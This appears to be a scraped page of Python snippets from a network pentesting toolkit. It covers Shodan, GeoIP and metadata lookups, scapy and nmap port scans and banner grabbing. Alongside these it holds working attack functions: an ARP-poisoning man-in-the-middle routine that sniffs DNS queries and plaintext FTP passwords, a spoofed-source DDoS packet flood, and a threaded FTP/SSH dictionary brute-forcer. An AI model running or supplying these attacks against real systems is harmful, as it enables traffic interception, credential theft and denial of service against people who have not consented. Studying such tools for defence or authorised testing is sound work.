Пример #1
0
def from_facets(search_string, chosen_facets):
    """This prints the result from a shodan search with a given facet"""

    # Developer Shodan API key
    shodan_key_string = open(
        config_params.SHODAN_KEY_FILE).readline().rstrip('\n')
    # Connecting to the SHODAN DB
    shodan_api = shodan.Shodan(shodan_key_string)
    facets = load_facets()

    try:
        # Use the count() method because it doesn't return results and doesn't require a paid API plan
        # And it also runs faster than doing a search().
        result = shodan_api.count(search_string, facets=chosen_facets)
        menu_utils.highlighted_info('Results found: %s' % result['total'])
        # Print the summary info from the facets
        if 'facets' in result.keys():
            for facet in result['facets']:
                if facet in facets.keys():
                    menu_utils.header(facets[facet] % chosen_facets[0][1])
                for term in result['facets'][facet]:
                    menu_utils.mixed_info("[+] " + str(term['value']) + ": ",
                                          str(term['count']))

    except shodan.APIError as e:
        menu_utils.error(e)
Пример #2
0
def from_domain(domain):
    """This prints GEO info about a given domain, retrieved from the given geoDB"""

    try:
        gi = pygeoip.GeoIP(config_params.GEO_FILE)
        menu_utils.header("Info retrieved")
        menu_utils.mixed_info("[+] Server country code from domain: ",
                              gi.country_code_by_name(domain))

    except pygeoip.socket.gaierror as e:
        menu_utils.error(e)
Пример #3
0
def scan(scan_type, ip, ports):
    """ This method performs different type of SCAPY scans """

    open_tcp_ports = []
    unfiltered_tcp_ports = []
    open_udp_ports = []
    open_or_filtered_udp_ports = []

    menu_utils.header('SCAPY SCAN, IP: %s ' % ip)

    for port in ports:

        res_tcp_tcp = ""
        res_tcp_xmas = ""
        res_tcp_null = ""
        res_tcp_ack = ""
        res_udp = ""

        if scan_type == 'TCP':
            res_tcp_tcp = _tcp_scan(ip, port)
        elif scan_type == 'XMAS':
            res_tcp_xmas = _xmas_scan(ip, port)
        elif scan_type == 'NULL':
            res_tcp_null = _null_scan(ip, port)
        elif scan_type == 'ACK':
            res_tcp_ack = _ack_scan(ip, port)
        elif scan_type == 'UDP':
            res_udp = _udp_scan(ip, port)
        else:
            res_tcp_tcp = _tcp_scan(ip, port)
            res_tcp_xmas = _xmas_scan(ip, port)
            res_tcp_null = _null_scan(ip, port)
            res_tcp_ack = _ack_scan(ip, port)
            res_udp = _udp_scan(ip, port)

        if (res_tcp_tcp == 'OPEN') | (res_tcp_xmas == 'OPEN') | (
                res_tcp_null == 'OPEN') | (res_tcp_ack == 'OPEN'):
            open_tcp_ports.append(port)

        if (res_tcp_tcp == 'UNFILTERED') | (res_tcp_xmas == 'UNFILTERED') | (res_tcp_null == 'UNFILTERED') | \
                (res_tcp_ack == 'UNFILTERED'):
            unfiltered_tcp_ports.append(port)

        if res_udp == 'OPEN':
            open_udp_ports.append(port)

        if res_udp == 'OPEN|FILTERED':
            open_or_filtered_udp_ports.append(port)

    menu_utils.header('SCAPY SCAN, IP: %s ' % ip)
    menu_utils.mixed_info("Open TCP ports",
                          var_utils.list_2_string(open_tcp_ports))
    menu_utils.mixed_info(
        "Unfiltered TCP ports",
        var_utils.list_2_string(
            var_utils.numbers_2_ranges(unfiltered_tcp_ports)))
    menu_utils.mixed_info("Open UDP ports",
                          var_utils.list_2_string(open_udp_ports))
    menu_utils.mixed_info("Open or filtered UDP ports",
                          var_utils.list_2_string(open_or_filtered_udp_ports))
Пример #4
0
def from_ip(ip):
    """This prints GEO info about a given IP, retrieved from the given geoDB"""

    try:
        gi = pygeoip.GeoIP(config_params.GEO_FILE)
        menu_utils.header("Info retrieved")
        menu_utils.mixed_info("[+] Server country code from IP: ",
                              gi.country_code_by_addr(ip))
        menu_utils.mixed_info("[+] Server time zone from IP: ",
                              gi.time_zone_by_addr(ip))
        menu_utils.highlighted_info("[+] Server complete info from IP: ")
        pprintpp.pprint(gi.record_by_addr(ip))

    except OSError as e:
        menu_utils.error(e)
def from_pdf(pdf_file):
    """This prints the metadata from a given PDF"""

    try:
        pdf = PdfFileReader(pdf_file, 'rb')

        # Extracting info from PDF
        info_pdf = pdf.getDocumentInfo()

        menu_utils.header("Metadata info")

        for metadata in info_pdf:
            menu_utils.mixed_info("[+] " + metadata + ":", info_pdf[metadata])

    except (FileNotFoundError, utils.PdfReadError) as e:
        menu_utils.error(e)
Пример #6
0
def mitm_attack(network_iface, target_ip, gateway_ip, ports=None):

    global h_mac, t_ip, g_ip, t_mac, g_mac, continue_poison, domain_list, poison_thread, plain_ports
    h_mac = get_if_hwaddr(network_iface)
    t_ip = target_ip
    g_ip = gateway_ip
    g_mac = "not-valid"
    domain_list = {}
    continue_poison = True
    plain_ports = ports

    signal.signal(signal.SIGINT, _keyboard_interrupt_handler)

    menu_utils.header('Navigation eavesdropping attack, target IP: %s ' % target_ip)

    menu_utils.mixed_info("Network interface: ", network_iface)
    menu_utils.mixed_info("Gateway IP: ", gateway_ip)

    menu_utils.header("Stage 1: Poisoning ARP")

    t_mac = _get_mac(network_iface, t_ip, 10)
    if t_mac is None:
        menu_utils.warning("Unable to get target MAC address")
        return None
    else:
        menu_utils.mixed_info("Target MAC address: ", t_mac)

    g_mac = _get_mac(network_iface, g_ip, 10)
    if g_mac is None:
        menu_utils.warning("Unable to get gateway MAC address")
        return None
    else:
        menu_utils.mixed_info("Gateway MAC address: ", g_mac)

    menu_utils.highlighted_info("Enabling IP forwarding")
    # Enable IP Forwarding on a mac
    os.system("sysctl -w net.inet.ip.forwarding=1")

    # ARP poison thread
    poison_thread = threading.Thread(target=_arp_poison, args=(g_ip, g_mac, t_ip, t_mac))
    poison_thread.start()

    if not ports:
        # Sniff DNS traffic
        bpf_dns_filter = f"udp port 53 and ip src {target_ip}"
        menu_utils.header("Stage 2: Eavesdropping target DNS traffic")
        sniff(iface=network_iface, filter=bpf_dns_filter,
              prn=_target_dns_sniffer, stop_filter=_stop_dns_sniffer, store=0)

    else:
        # Sniff passwords
        bpf_ftp_filter = f"tcp port {plain_ports[0]} and (ip src {target_ip} or ip dst {target_ip})"
        menu_utils.header("Stage 2: Eavesdropping FTP plain passwords")
        sniff(iface=network_iface, filter=bpf_ftp_filter,
              prn=_target_passwd_sniffer, stop_filter=_stop_passwd_sniffer, store=0)

    signal.signal(signal.SIGINT, _main_keyboard_interrupt_handler)
Пример #7
0
def from_ip(ip):
    """This prints the result from a shodan search with a given IP"""

    # Developer Shodan API key
    shodan_key_string = open(
        config_params.SHODAN_KEY_FILE).readline().rstrip('\n')
    # Connecting to the SHODAN DB
    shodan_api = shodan.Shodan(shodan_key_string)

    try:
        host = shodan_api.host(ip)
        menu_utils.header("Info retrieved")
        menu_utils.mixed_info("[+] IP: ", host['ip_str'])
        menu_utils.mixed_info("[+] Organization: ", host.get('org', 'n/a'))
        menu_utils.mixed_info("[+] Operating system: ", host.get('os', 'n/a'))
        for item in host['data']:
            menu_utils.mixed_info("[+] Port: ", item['port'])
            menu_utils.mixed_info("[+] Banner: ", item['data'])

    except shodan.APIError as e:
        menu_utils.error(e)
Пример #8
0
def ddos_attack(attackers_ips, ips, ports, duration):

    menu_utils.header('DDoS attack, target IPs: %s ' % ips)
    menu_utils.mixed_info("Attackers IPs: ", attackers_ips)
    menu_utils.mixed_info("Ports: ", ports)
    menu_utils.mixed_info("Duration: ", "%s seconds" % duration)

    menu_utils.highlighted_info("Progress:\n")
    t0 = time.time()
    pkt_counter = 0
    thread_list = []

    while time.time() < (t0 + duration):

        chosen_attacker_ip = random.choice(attackers_ips)
        chosen_ip = random.choice(ips)
        chosen_port = random.choice(ports)

        t = threading.Thread(target=_send_packet, args=(chosen_attacker_ip, chosen_ip, chosen_port,))
        t.start()
        thread_list.append(t)

        if pkt_counter % config_params.MAX_NUMBER_THREADS == 0:

            for thread in thread_list:
                thread.join()  # closing threads
            thread_list = []

        pkt_counter += 1
        additional_info = "attack: %s -> %s:%s" % (chosen_attacker_ip, chosen_ip, chosen_port)
        menu_utils.progress_bar(int(100*(time.time() - t0)/duration),
                                config_params.DISPLAY["progress_bar_width"], additional_info)

    menu_utils.super_highlighted_info("\n%s DDoS packets successfully sent" % pkt_counter)
Пример #9
0
def _tcp_scan(ip, port):
    """ This method performs TCP scans """

    menu_utils.mixed_info("\nTCP scan: Analysing port: ", str(port))
    response = sr1(IP(dst=ip) / TCP(dport=int(port), flags="S"),
                   timeout=config_params.SCAPY_TIMEOUT)  # Sending flag SYN
    print("Response type: " + str(type(response)))
    if str(type(response)) == "<class 'NoneType'>":
        menu_utils.warning("[-] Port %s closed" % port)
        return "CLOSED"
    elif response.haslayer(TCP):
        if response.getlayer(
                TCP).flags == 0x12:  # Receiving flags ACK + SYN (00010010b)
            menu_utils.super_highlighted_info("[+] Port %s open" % port)
            return "OPEN"
    elif response.haslayer(ICMP):
        if response.getlayer(TCP).flags == 0x14:
            menu_utils.warning("[-] Port %s closed" %
                               port)  # Receiving flags ACK + RST (00010100b)
            return "CLOSED"
    else:
        return "UNKNOWN"
Пример #10
0
def _ack_scan(ip, port):
    """ This method performs ACK scans """

    menu_utils.mixed_info("\nACK scan: Analysing port: ", str(port))
    response = sr1(IP(dst=ip) / TCP(dport=int(port), flags="A"),
                   timeout=config_params.SCAPY_TIMEOUT)  # Sending flag ACK
    print("Response type: " + str(type(response)))
    if str(type(response)) == "<class 'NoneType'>":
        menu_utils.warning("[-] Firewall found")
        return "FILTERED"
    elif response.haslayer(TCP):
        if response.getlayer(
                TCP).flags == 0x4:  # Receiving flag RST (00000100b)
            menu_utils.highlighted_info("[+] Firewall not found")
            return "UNFILTERED"
    elif response.haslayer(ICMP):  # Receiving ICMP error
        if (response.getlayer(ICMP).type == 3) & (int(
                response.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]):
            menu_utils.warning("[-] Firewall found")
            return "FILTERED"
    else:
        return "UNKNOWN"
Пример #11
0
def _null_scan(ip, port):
    """ This method performs NULL scans """

    menu_utils.mixed_info("\nNULL scan: Analysing port: ", str(port))
    response = sr1(IP(dst=ip) / TCP(dport=int(port), flags=""),
                   timeout=config_params.SCAPY_TIMEOUT)  # Sending no flags
    print("Response type: " + str(type(response)))
    if str(type(response)) == "<class 'NoneType'>":  # Receiving no answer
        menu_utils.highlighted_info("[?] Port %s open or filtered" % port)
        return "OPEN|FILTERED"
    elif response.haslayer(TCP):
        if response.getlayer(
                TCP).flags == 0x14:  # Receiving flags ACK + RST (00010100b)
            menu_utils.warning("[-] Port %s closed" % port)
            return "CLOSED"
    elif response.haslayer(ICMP):  # Receiving ICMP error
        if (response.getlayer(ICMP).type == 3) & (int(
                response.getlayer(ICMP).code) in [1, 2, 3, 9, 10, 13]):
            menu_utils.warning("[x] Port %s filtered" % port)
            return "FILTERED"
    else:
        return "UNKNOWN"
Пример #12
0
def from_image(image_file):
    """This prints the EXIF info from a given image file"""

    try:
        image = Image.open(image_file)
        exif_image = image._getexif()

        menu_utils.header("EXIF info: %s" % image_file)
        pprintpp.pprint(exif_image)

        if exif_image:
            metadata_exif = {}
            for (tag, value) in exif_image.items():
                decoded = TAGS.get(tag, tag)
                metadata_exif[decoded] = value

            menu_utils.header("EXIF info detailed %s" % image_file)

            for tag in metadata_exif.keys():
                menu_utils.mixed_info("[+] %s: " % tag, metadata_exif[tag])

    except (FileNotFoundError, OSError) as e:
        menu_utils.error(e)
Пример #13
0
def scan(ip, ports):

    nm = nmap.PortScanner()
    nm.scan(ip, ports)

    if nm.all_hosts():
        menu_utils.header("NMAP SCAN, IP: %s " % ip)
        menu_utils.mixed_info("Scan info: ", nm.scaninfo())
        menu_utils.mixed_info("Command line: ", nm.command_line())
        menu_utils.mixed_info("All hosts: ", nm.all_hosts())
        menu_utils.highlighted_info("CSV file: ")
        menu_utils.conditional_highlighting(nm.csv(), "open", "closed")
        menu_utils.mixed_info("Location: ", dir(nm))

    else:
        menu_utils.warning("\nNO HOST FOUND IN IP %s" % ip)
Пример #14
0
def _banner_scan(ip, port):

    """ Method to obtain the banner corresponding to the port of the IP """

    category = ""
    banner = ""

    try:
        menu_utils.mixed_info("\nBanner grab: Analysing port: ", str(port))
        connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connection.connect((ip, port))
        connection.setblocking(False)
        ready = select.select([connection], [], [], config_params.BANNER_TIMEOUT)

        if ready[0]:
            banner = connection.recv(4096)
            print("Banner: " + str(banner))
            f = open(config_params.VULNERABLE_BANNERS, 'r')
            category = "NON-VULNERABLE"
            for banner_vulnerable in f:
                if str(banner_vulnerable).strip() in str(banner).strip():
                    category = "VULNERABLE"
                    break
            if category == "VULNERABLE":
                menu_utils.super_highlighted_info('[+] The banner is vulnerable')
            else:
                menu_utils.highlighted_info('[?] The banner seems NOT vulnerable')
        else:
            menu_utils.warning('[-] The banner is not available')
            category = "UNAVAILABLE"

    except (ConnectionRefusedError, FileNotFoundError, TimeoutError) as e:
        menu_utils.error(e)
        category = "UNAVAILABLE"

    return category, banner
Пример #15
0
def _udp_scan(ip, port):
    """ This method performs UDP scans """

    menu_utils.mixed_info("\nUDP scan: Analysing port: ", str(port))
    response = sr1(IP(dst=ip) / UDP(dport=int(port)),
                   timeout=config_params.SCAPY_TIMEOUT)
    print("Response type: " + str(type(response)))
    if str(type(response)) == "<class 'NoneType'>":
        menu_utils.highlighted_info("[?] Port %s open or filtered" % port)
        return "OPEN|FILTERED"
    elif response.haslayer(UDP):
        menu_utils.super_highlighted_info("[+] Port % open" % port)
        return "OPEN"
    elif response.haslayer(ICMP):
        if (int(response.getlayer(ICMP).type)
                == 3) & (int(response.getlayer(ICMP).code == 3)):
            menu_utils.warning("[-] Port %s closed" % port)
            return "CLOSED"
        elif (int(response.getlayer(ICMP).type) == 3) & (int(
                response.getlayer(ICMP).code) in [1, 2, 9, 10, 13]):
            menu_utils.warning("[x] Port %s filtered" % port)
            return "FILTERED"
    else:
        return "UNKNOWN"
Пример #16
0
def from_search(search_string):
    """This prints the result from a shodan search with a given string"""

    # Developer Shodan API key
    shodan_key_string = open(
        config_params.SHODAN_KEY_FILE).readline().rstrip('\n')
    # Connecting to the SHODAN DB
    shodan_api = shodan.Shodan(shodan_key_string)

    try:
        results = shodan_api.search(search_string)  # apache

        # Print results
        menu_utils.highlighted_info('Results found: %s' % results['total'])
        counter = 0
        for i in results['matches']:
            counter += 1
            menu_utils.header('Result #%s' % counter)
            if i['ip_str']:
                if i['ip_str'] != "":
                    menu_utils.mixed_info("[+] IP: ", i['ip_str'])
            if i['port']:
                if i['port'] != "":
                    menu_utils.mixed_info("[+] Port: ", i['port'])
            if i['hostnames']:
                if i['hostnames'] != "":
                    print('Hostnames: ' % i['hostnames'])
                    menu_utils.mixed_info("[+] Hostnames: ", i['hostnames'])
            if i['os']:
                if i['os'] != "":
                    menu_utils.mixed_info("[+] Operating system: ", i['os'])
            if i['data']:
                if i['data'] != "":
                    menu_utils.mixed_info("[+] Data: ", i['data'])
            if i['timestamp']:
                if i['timestamp'] != "":
                    menu_utils.mixed_info("[+] Timestamp: ", i['timestamp'])
            print('')

    except shodan.APIError as e:
        menu_utils.error(e)
Пример #17
0
def dictionary_attack(protocol, ip, port, interval, user, dictionary):

    if (protocol.lower() != 'ftp') & (protocol.lower() != 'ssh'):
        menu_utils.warning('Only "FTP" or "SSH" protocols are supported')
        return

    menu_utils.header('Brute force attack, target IP: %s ' % ip)
    menu_utils.mixed_info("Protocol:", protocol)
    menu_utils.mixed_info("Interval between attempts:",
                          "%s milliseconds" % interval)
    menu_utils.mixed_info("User:"******"Dictionary:", dictionary)

    counter = 0
    thread_list = []

    passwords = file_utils.load_file_as_list(dictionary)
    print("%s passwords in the dictionary" % len(passwords))
    menu_utils.highlighted_info("Progress:\n")

    my_queue = queue.Queue()

    if passwords:

        for passw in passwords:

            time.sleep(interval / 1000)
            counter += 1
            additional_info = "Trying pass: %s" % passw
            menu_utils.progress_bar(
                int(100 * counter / len(passwords)),
                config_params.DISPLAY["progress_bar_width"], additional_info)

            if protocol.lower() == 'ftp':
                t = threading.Thread(target=_ftp_connection_attempt,
                                     args=(
                                         ip,
                                         port,
                                         user,
                                         passw,
                                         my_queue,
                                     ))
            elif protocol.lower() == 'ssh':
                t = threading.Thread(target=_ssh_connection_attempt,
                                     args=(
                                         ip,
                                         port,
                                         user,
                                         passw,
                                         my_queue,
                                     ))

            t.start()
            thread_list.append(t)

            if counter % config_params.MAX_NUMBER_THREADS == 0:

                for thread in thread_list:
                    thread.join()  # closing threads
                thread_list = []
                if not my_queue.empty():  # the pass is stored in the queue
                    break

        for thread in thread_list:
            thread.join()  # closing threads

        if not my_queue.empty():  # the pass is stored in the queue
            menu_utils.super_highlighted_info("\n[+] Password found: %s" %
                                              my_queue.get())
        else:
            menu_utils.warning("\n[-] Password not found in %s " % dictionary)

    else:
        menu_utils.warning("\n[-] %s dictionary not found " % dictionary)